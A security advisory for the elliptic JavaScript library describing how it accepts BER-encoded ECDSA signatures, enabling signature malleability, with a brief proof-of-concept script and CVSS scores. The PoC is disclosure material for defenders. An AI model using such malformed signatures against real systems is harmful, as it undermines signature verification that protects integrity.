Improper Verification of Cryptographic Signature Affecting org.webjars.npm:elliptic package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (41st percentile)

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-7707763
  • published 19 Aug 2024
  • disclosed 2 Aug 2024
  • credit Markus Schiffermüller

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.npm:elliptic is a Fast elliptic-curve cryptography in a plain javascript implementation.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the allowance of BER-encoded signatures. An attacker can manipulate the ECDSA signatures by exploiting the signature malleability.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.6
var hash = require('hash.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p521');

// [tcId 7] length of sequence [r, s] contains a leading 0
var msg = '313233343030';
var sig = '3082008602414e4223ee43e8cb89de3b1339ffc279e582f82c7ab0f71bbde43dbe374ac75ffbef29acdf8e70750b9a04f66fda48351de7bbfd515720b0ec5cd736f9b73bdf8645024128b5d0926a4172b349b0fd2e929487a5edb94b142df923a697e7446acdacdba0a029e43d69111174dba2fe747122709a69ce69d5285e174a01a93022fea8318ac1';
var pk = '04005c6457ec088d532f482093965ae53ccd07e556ed59e2af945cd8c7a95c1c644f8a56a8a8a3cd77392ddd861e8a924dac99c69069093bd52a52fa6c56004a074508007878d6d42e4b4dd1e9c0696cb3e19f63033c3db4e60d473259b3ebe079aaf0a986ee6177f8217a78c68b813f7e149a4e56fd9562c07fed3d895942d7d101cb83f6';

var hashMsg = hash.sha512().update(toArray(msg, 'hex')).digest();
var pubKey = ec.keyFromPublic(pk, 'hex');
console.log('Valid signature: ' + pubKey.verify(hashMsg, sig));

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.1 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None